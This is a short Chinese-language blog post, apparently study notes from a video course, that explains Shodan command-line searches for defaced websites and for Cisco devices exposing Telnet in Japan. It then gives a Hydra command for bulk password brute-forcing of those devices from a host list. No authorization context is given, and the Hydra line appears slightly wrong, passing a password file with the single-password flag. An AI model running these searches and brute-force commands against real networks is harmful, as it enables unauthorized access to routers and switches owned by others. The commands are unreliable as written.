声明:学习视频来自b站up主 泷羽sec,如涉及侵权马上删除文章
声明:本文主要用作技术分享,所有内容仅供参考。任何使用或依赖于本文信息所造成的法律后果均与本人无关。请读者自行判断风险,并遵循相关法律法规。
感谢泷羽sec 团队 的教学
本文主要讲解如何去寻找被挂黑页的网站,以及利用Shodan去搜索具有弱口令的路由器交换机设备。
一、寻找被挂黑页的网站
shodan search --limit 50 --fields ip_str,port http.title:hacked by
该命令用于查找被标记为"hacked by"的网站。以下是该命令的详细解析:
命令解析
- shodan search:启动 Shodan 的搜索查询。
- --limit 50:限制结果为 50 条。
- --fields ip_str,port:指定返回的结果字段,包括 IP 地址和端口号。
- http.title:hacked by:搜索条件,查找网页标题中包含"hacked by"的网站。
二、搜索弱口令设备
shodan search --limit 50 --fields ip_str,port "cisco -authorired port:23" country:JP
这条命令是用于查找思科设备上授权的 Telnet 连接(端口 23)。以下是该命令的详细解析:
命令解析
- shodan search:启动 Shodan 的搜索查询。
- --limit 50:限制结果为 50条。
- --fields ip_str,port:指定返回的结果字段,包括 IP 地址和端口号。
- "cisco -authorired":搜索条件,查找与思科设备相关的条目,但排除那些标记为"授权"的设备。
- port:23:限制搜索范围为在端口 23(Telnet)上运行的设备。
- country:JP:限制搜索国家为日本。
使用kali上的工具hydra进行批量爆破
hydra -l cisco -p /root/桌面/pws.txt -M /root/桌面/rkl.txt telnet
具体用法可以参照这位师傅的博客:Hydra密码爆破工具使用教程图文教程(超详细)-CSDN博客